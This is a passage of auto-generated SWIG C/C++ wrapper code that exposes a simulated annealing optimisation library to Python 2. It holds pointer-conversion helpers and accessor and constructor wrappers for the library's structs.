PyCObject_AsVoidPtr(obj); c = (char *) PyCObject_GetDesc(obj); if (newref) Py_DECREF(obj); goto cobject; #else if (!(PyString_Check(obj))) { if (!SWIG_this) SWIG_this = PyString_InternFromString("this"); obj = PyObject_GetAttr(obj,SWIG_this); newref = 1; if (!obj) goto type_error; if (!PyString_Check(obj)) { Py_DECREF(obj); goto type_error; } } c = PyString_AsString(obj); /* Pointer values must start with leading underscore */ if (*c != '_') { *ptr = (void *) 0; if (strcmp(c,"NULL") == 0) { if (newref) Py_DECREF(obj); return 0; } else { if (newref) Py_DECREF(obj); goto type_error; } } c++; c = SWIG_UnpackData(c,ptr,sizeof(void *)); if (newref) Py_DECREF(obj); #endif #ifdef SWIG_COBJECT_TYPES cobject: #endif if (ty) { tc = SWIG_TypeCheck(c,ty); if (!tc) goto type_error; *ptr = SWIG_TypeCast(tc,(void*) *ptr); } return 0; type_error: if (flags) { if (ty) { char *temp = (char *) malloc(64+strlen(ty->name)); sprintf(temp,"Type error. Expected %s", ty->name); PyErr_SetString(PyExc_TypeError, temp); free((char *) temp); } else { PyErr_SetString(PyExc_TypeError,"Expected a pointer"); } } return -1; } /* Convert a packed value value */ SWIGRUNTIME(int) SWIG_ConvertPacked(PyObject *obj, void *ptr, int sz, swig_type_info *ty, int flags) { swig_type_info *tc; char *c; if ((!obj) || (!PyString_Check(obj))) goto type_error; c = PyString_AsString(obj); /* Pointer values must start with leading underscore */ if (*c != '_') goto type_error; c++; c = SWIG_UnpackData(c,ptr,sz); if (ty) { tc = SWIG_TypeCheck(c,ty); if (!tc) goto type_error; } return 0; type_error: if (flags) { if (ty) { char *temp = (char *) malloc(64+strlen(ty->name)); sprintf(temp,"Type error. Expected %s", ty->name); PyErr_SetString(PyExc_TypeError, temp); free((char *) temp); } else { PyErr_SetString(PyExc_TypeError,"Expected a pointer"); } } return -1; } /* Create a new pointer object */ SWIGRUNTIME(PyObject *) SWIG_NewPointerObj(void *ptr, swig_type_info *type) { PyObject *robj; if (!ptr) { Py_INCREF(Py_None); return Py_None; } #ifdef SWIG_COBJECT_TYPES robj = PyCObject_FromVoidPtrAndDesc((void *) ptr, (char *) type->name, NULL); #else { char result[512]; char *r = result; *(r++) = '_'; r = SWIG_PackData(r,&ptr,sizeof(void *)); strcpy(r,type->name); robj = PyString_FromString(result); } #endif return robj; } SWIGRUNTIME(PyObject *) SWIG_NewPackedObj(void *ptr, int sz, swig_type_info *type) { char result[1024]; char *r = result; if ((2*sz + 1 + strlen(type->name)) > 1000) return 0; *(r++) = '_'; r = SWIG_PackData(r,ptr,sz); strcpy(r,type->name); return PyString_FromString(result); } /* Install Constants */ SWIGRUNTIME(void) SWIG_InstallConstants(PyObject *d, swig_const_info constants[]) { int i; PyObject *obj; for (i = 0; constants[i].type; i++) { switch(constants[i].type) { case SWIG_PY_INT: obj = PyInt_FromLong(constants[i].lvalue); break; case SWIG_PY_FLOAT: obj = PyFloat_FromDouble(constants[i].dvalue); break; case SWIG_PY_STRING: obj = PyString_FromString((char *) constants[i].pvalue); break; case SWIG_PY_POINTER: obj = SWIG_NewPointerObj(constants[i].pvalue, *(constants[i]).ptype); break; default: obj = 0; break; } if (obj) { PyDict_SetItemString(d,constants[i].name,obj); Py_DECREF(obj); } } } #endif #ifdef __cplusplus } #endif /* -------- TYPES TABLE (BEGIN) -------- */ #define SWIGTYPE_p_variablelist swig_types[0] #define SWIGTYPE_p_simulated_annealing swig_types[1] #define SWIGTYPE_p_basisfile swig_types[2] #define SWIGTYPE_p_FILE swig_types[3] #define SWIGTYPE_p_variable swig_types[4] #define SWIGTYPE_p_simanneal_varlist swig_types[5] #define SWIGTYPE_p_evaluate swig_types[6] #define SWIGTYPE_p_p_char swig_types[7] #define SWIGTYPE_p_string swig_types[8] static swig_type_info *swig_types[10]; /* -------- TYPES TABLE (END) -------- */ #define SWIG_init initsimannealfile #define SWIG_name "simannealfile" #include "simanneal.h" #include "calculate.h" #include "evaluate.h" #include "safe_string.h" #include "calculate.h" #ifdef __cplusplus extern "C" { #endif static PyObject *_wrap_new_simanneal_varlist(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *result ; if(!PyArg_ParseTuple(args,(char *)":new_simanneal_varlist")) return NULL; result = (simanneal_varlist *)new simanneal_varlist(); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist); return resultobj; } static PyObject *_wrap_delete_simanneal_varlist(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:delete_simanneal_varlist",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; delete arg0; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simanneal_varlist_cleany(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_cleany",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; arg0->clean(); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simanneal_varlist_clean(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; struct simanneal_varlist *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_clean",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; arg0->clean(arg1); Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simanneal_varlist_pt2xn(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_pt2xn",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; result = (int )arg0->pt2xn(); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_simanneal_varlist_vl_set(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; struct variablelist *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_vl_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL; arg0->vl = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simanneal_varlist_vl_get(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; PyObject * argo0 =0 ; struct variablelist *result ; if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_vl_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; result = (struct variablelist *) (arg0->vl); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variablelist); return resultobj; } static PyObject *_wrap_simanneal_varlist_next_set(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; struct simanneal_varlist *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_next_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; arg0->next = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simanneal_varlist_next_get(PyObject *self, PyObject *args) { PyObject *resultobj; simanneal_varlist *arg0 ; PyObject * argo0 =0 ; struct simanneal_varlist *result ; if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_next_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; result = (struct simanneal_varlist *) (arg0->next); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist); return resultobj; } static PyObject *_wrap_new_simulated_annealing(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *result ; if(!PyArg_ParseTuple(args,(char *)":new_simulated_annealing")) return NULL; result = (simulated_annealing *)new simulated_annealing(); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simulated_annealing); return resultobj; } static PyObject *_wrap_new_simulated_annealing_6args(PyObject *self, PyObject *args) { PyObject *resultobj; struct variablelist *arg0 ; struct basisfile *arg1 ; struct evaluate *arg2 ; int arg3 ; double arg4 ; struct string *arg5 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; PyObject * argo5 =0 ; simulated_annealing *result ; if(!PyArg_ParseTuple(args,(char *)"OOOidO:new_simulated_annealing_6args",&argo0,&argo1,&argo2,&arg3,&arg4,&argo5)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variablelist,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_evaluate,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo5,(void **) &arg5,SWIGTYPE_p_string,1)) == -1) return NULL; result = (simulated_annealing *)new simulated_annealing(arg0,arg1,arg2,arg3,arg4,arg5); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simulated_annealing); return resultobj; } static PyObject *_wrap_delete_simulated_annealing(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:delete_simulated_annealing",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; delete arg0; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_vl_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct variablelist *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_vl_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL; arg0->vl = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_vl_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; struct variablelist *result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_vl_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (struct variablelist *) (arg0->vl); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variablelist); return resultobj; } static PyObject *_wrap_simulated_annealing_svl_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct simanneal_varlist *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_svl_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; arg0->svl = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_svl_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; struct simanneal_varlist *result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_svl_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (struct simanneal_varlist *) (arg0->svl); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist); return resultobj; } static PyObject *_wrap_simulated_annealing_text_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct basisfile *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_text_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL; arg0->text = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_text_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; struct basisfile *result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_text_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (struct basisfile *) (arg0->text); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_basisfile); return resultobj; } static PyObject *_wrap_simulated_annealing_success_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct evaluate *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_success_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_evaluate,1)) == -1) return NULL; arg0->success = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_success_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; struct evaluate *result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_success_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (struct evaluate *) (arg0->success); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_evaluate); return resultobj; } static PyObject *_wrap_simulated_annealing_tc_max_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; int arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oi:simulated_annealing_tc_max_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; arg0->tc_max = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_tc_max_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_tc_max_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (int ) (arg0->tc_max); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_simulated_annealing_t_factor_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; double arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Od:simulated_annealing_t_factor_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; arg0->t_factor = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_t_factor_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; double result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_t_factor_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (double ) (arg0->t_factor); resultobj = PyFloat_FromDouble(result); return resultobj; } static PyObject *_wrap_simulated_annealing_call_set(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct string *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_call_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL; arg0->call = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_simulated_annealing_call_get(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; struct string *result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_call_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (struct string *) (arg0->call); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string); return resultobj; } static PyObject *_wrap_simulated_annealing_build_varlist(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_build_varlist",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (int )arg0->build_varlist(); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_simulated_annealing_optimize(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_optimize",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (int )arg0->optimize(); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_simulated_annealing_vary_simvarlist(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_vary_simvarlist",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; result = (int )arg0->vary_simvarlist(); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_simulated_annealing_take_new_result(PyObject *self, PyObject *args) { PyObject *resultobj; simulated_annealing *arg0 ; struct variable *arg1 ; struct variable *arg2 ; double arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOOd:simulated_annealing_take_new_result",&argo0,&argo1,&argo2,&arg3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_variable,1)) == -1) return NULL; result = (int )arg0->take_new_result(*arg1,*arg2,arg3); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_x_now_2_x_opt(PyObject *self, PyObject *args) { PyObject *resultobj; struct simanneal_varlist *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:x_now_2_x_opt",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL; result = (int )x_now_2_x_opt(arg0); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_calc_4args(PyObject *self, PyObject *args) { PyObject *resultobj; struct variable *arg0 ; struct variablelist *arg1 ; struct basisfile *arg2 ; struct string *arg3 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; PyObject * argo3 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOOO:calc_4args",&argo0,&argo1,&argo2,&argo3)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variable,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_basisfile,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo3,(void **) &arg3,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )calculate(*arg0,arg1,arg2,arg3); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_calculate(PyObject *self, PyObject *args) { PyObject *resultobj; struct variable *arg0 ; struct basisfile *arg1 ; struct string *arg2 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; PyObject * argo2 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OOO:calculate",&argo0,&argo1,&argo2)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variable,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int )calculate(*arg0,arg1,arg2); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_new_evaluate(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *result ; if(!PyArg_ParseTuple(args,(char *)":new_evaluate")) return NULL; result = (evaluate *)new evaluate(); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_evaluate); return resultobj; } static PyObject *_wrap_delete_evaluate(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"O:delete_evaluate",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; delete arg0; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_criteria_set(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; char arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oc:evaluate_criteria_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; arg0->criteria = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_criteria_get(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; char result ; if(!PyArg_ParseTuple(args,(char *)"O:evaluate_criteria_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; result = (char ) (arg0->criteria); resultobj = Py_BuildValue("c",result); return resultobj; } static PyObject *_wrap_evaluate_goal_set(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; struct variable *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_goal_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; arg0->goal = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_goal_get(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; struct variable *result ; if(!PyArg_ParseTuple(args,(char *)"O:evaluate_goal_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; result = (struct variable *) (arg0->goal); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable); return resultobj; } static PyObject *_wrap_evaluate_epsilon_set(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; struct variable *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_epsilon_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; arg0->epsilon = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_epsilon_get(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; struct variable *result ; if(!PyArg_ParseTuple(args,(char *)"O:evaluate_epsilon_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; result = (struct variable *) (arg0->epsilon); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable); return resultobj; } static PyObject *_wrap_evaluate_minchange_set(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; struct variable *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_minchange_set",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; arg0->minchange = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_minchange_get(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; struct variable *result ; if(!PyArg_ParseTuple(args,(char *)"O:evaluate_minchange_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; result = (struct variable *) (arg0->minchange); resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable); return resultobj; } static PyObject *_wrap_evaluate_n_set(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; int arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oi:evaluate_n_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; arg0->n = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_evaluate_n_get(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:evaluate_n_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; result = (int ) (arg0->n); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_evaluate_abort(PyObject *self, PyObject *args) { PyObject *resultobj; evaluate *arg0 ; struct variable *arg1 ; PyObject * argo0 =0 ; PyObject * argo1 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_abort",&argo0,&argo1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL; if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL; result = (int )arg0->abort(*arg1); resultobj = PyInt_FromLong((long)result); return resultobj; } static PyObject *_wrap_string_size_set(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; int arg1 ; PyObject * argo0 =0 ; if(!PyArg_ParseTuple(args,(char *)"Oi:string_size_set",&argo0,&arg1)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; arg0->size = arg1; Py_INCREF(Py_None); resultobj = Py_None; return resultobj; } static PyObject *_wrap_string_size_get(PyObject *self, PyObject *args) { PyObject *resultobj; string *arg0 ; PyObject * argo0 =0 ; int result ; if(!PyArg_ParseTuple(args,(char *)"O:string_size_get",&argo0)) return NULL; if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL; result = (int ) 